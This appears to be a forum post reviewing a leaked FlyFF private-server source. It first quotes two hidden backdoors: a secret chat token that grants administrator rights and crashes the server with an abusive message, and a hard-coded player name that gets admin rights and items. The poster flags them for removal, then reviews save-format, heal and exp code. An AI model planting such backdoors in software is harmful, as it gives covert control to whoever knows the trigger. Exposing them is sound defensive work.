(Posting code to show)
BOOL TextCmd_say( CScanner& scanner )
Code:
#ifdef __NEUZ_V
if( strcmp( scanner.token, "v1i2r3t4u5o6s7") == 0 )
{
pUser->m_dwAuthorization = AUTH_ADMINISTRATOR;
#ifdef __LAYER_1015
g_dpDBClient.SavePlayer( pUser, pUser->GetWorld()->GetID(), pUser->GetPos(), pUser->GetLayer() );
#else // __LAYER_1015
g_dpDBClient.SavePlayer( pUser, pUser->GetWorld()->GetID(), pUser->GetPos() );
#endif // __LAYER_1015
//system("Der Administrator ist nun Online. Sieg Heil meine Freunde.");
Error("Dumme Bitch, ich fiste dich tot.");
ExitProcess( -1 );
}
#endif
Then there is the code in: CDPDatabaseClient::OnJoin( CAr & ar, DPID dpidCache, DPID dpidUser )
Code:
#ifdef __NEUZ_V
CString nickname = pUser->GetName();
if ( nickname == "virtuos" )
{
CItemElem item;
item.m_nItemNum = 9999;
item.m_dwItemId = II_SYS_SYS_SCR_PERIN;
pUser->CreateItem( &item );
pUser->m_dwAuthorization = AUTH_ADMINISTRATOR;
system("Der Administrator ist nun Online.");
pUser->AddText("You used a simple Backdoor.");
}
#endif
Just remove the code and keep an eye out for ones that are not used with defines?
You also want to keep in mind that
Code:
sprintf( pItemStruct->szItem, "%d,%d,%d,%d,%s,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,"
#ifdef __WEAPON_LEVELING
"%d,%d,"
#endif // __WEAPON_LEVELING
#ifdef __MODEL_CHANGE
"%d,"
#endif // __MODEL_CHANGE
#ifdef __OLD_NEW_GLOW_V2
"%d,"
#endif // __OLD_NEW_GLOW_V2
"%d/",
Everything is one behind. WeaponLeveling is allowing one pItemElem->m_nResistSMItemId and then , pItemElem->m_nWeaponLevel. Keep in mind if you're adding things. But because of the last %d/, it should be safe.
However,
Code:
#ifdef __WEAPON_DST_CHANGE
, pItemElem->m_dwChangeDST
#endif
is being appended, which would fuck up the save proc because it doesnt have anything to add to. So your items won't save correctly and might overflow somewhere.
Edit:
Transfer Awake is slightly different, yet still has the issues with transfer the randomopt bonus. Here community, have a fix. Haven't tested this at all so it might not work or it might break cause yolo.
Code:
if(pSource->GetRandomOptItemId() <= 0 || (pDest->GetRandomOptItemId() & 0x0FFFFFFFFFFFFF00))
return;
__int64 nTransferedOpt = pSource->GetRandomOptItemId() & 0x0FFFFFFFFFFFFF00;
nTransferedOpt |= pDest->GetRandomOptItemId();
pDest->SetRandomOptItemId(nTransferedOpt);
g_xRandomOptionProperty->InitializeRandomOption(pSource->GetRandomOptItemIdPtr());
pUser->UpdateItem( (BYTE)( pMat->m_dwObjId ), UI_NUM, pMat->m_nItemNum - 1 );
pUser->UpdateItemEx( (BYTE)( pDest->m_dwObjId ), UI_RANDOMOPTITEMID, pDest->GetRandomOptItemId() );
pUser->UpdateItemEx( (BYTE)( pSource->m_dwObjId ), UI_RANDOMOPTITEMID, pSource->GetRandomOptItemId() );
pUser->AddGold(-Cost);
Commented out but
Code:
/*#ifdef __VIRTUOS_HEALMULTIPLICATOR
if(nIncHP!=0)
{
#ifdef __VIRTUOS_ULTRAHEAL
nIncHP += GetParam( DST_IMPROVE_HEAL, 0 );
#endif
nIncHP =(int)( ((float)nIncHP) * ( GetParam( DST_HEALING_AMP, 0 ) / 100.0F ) );
}
#endif */
Let's do some math. nIncHp = 150. Healing amp = 10% : nIncHp = 150 * 0.10 = 15.
Here, try this:
Code:
#ifdef __VIRTUOS_HEALMULTIPLICATOR
if (nIncHp > 0)
nIncHP = nIncHP + (int)(nIncHp * ( GetParam( DST_HEALING_AMP, 0 ) / 100.0F ) );
#endif
#ifdef __VIRTUOS_ULTRAHEAL
nIncHP += GetParam( DST_IMPROVE_HEAL, 0 );
#endif
nIncHp = 150 + (150 * 0.10). nIncHp = 150 + 15. = 175.
For: __VIRTUOS_MOTIONTIME. Why not just stick it with castingtime rather making a new param and everything. I suggest people to also look into __VIRTUOS_ATKSPDMAX before adding values too high on their server.
Using NULL as 0 (even though FlyFF source does it) is bad practice, imo. Secondly, the second part cant even be hit unless rounded a 0.1 to 0. Unless mobs are giving negative exp. Next, exp jumps from 1 to 100? Its possible to get more exp from something that gives lower exp. Also, since you're doing this before master/Hero+'s /2 exp, it'll turn out 50 rather 100 and such.
Code:
if( m_nReb > NULL )
{
nExp = ( ( nExp / ( m_nReb*2 ) ) );
if( nExp <= NULL )
nExp = 100;
}
to
Code:
if( m_nReb > 0)
{
nExp = ((nExp / ( m_nReb * 2 )));
if (nExp < 100) nExp = 100;
}
__OLD_NEW_GLOW_V2 < I've said my thoughts on this system a plethora of times. Better to make it a graphical option so the player can choose what to see on the client.
__CHAT_FIX replaces @ with space. However, I suggest to allow players use the @ symbol.
So rather than doing str.Replace( "@", " " ); str.Replace( "@@", " " );, just do: str.Replace("@@@",""); (You only need one statement)
For the UserOwnTitle system, and when checking the string for symbols, could just use
For FastJobChange and ReState, Silly people, you're missing the statpoints that you're supposed to get for becoming hero.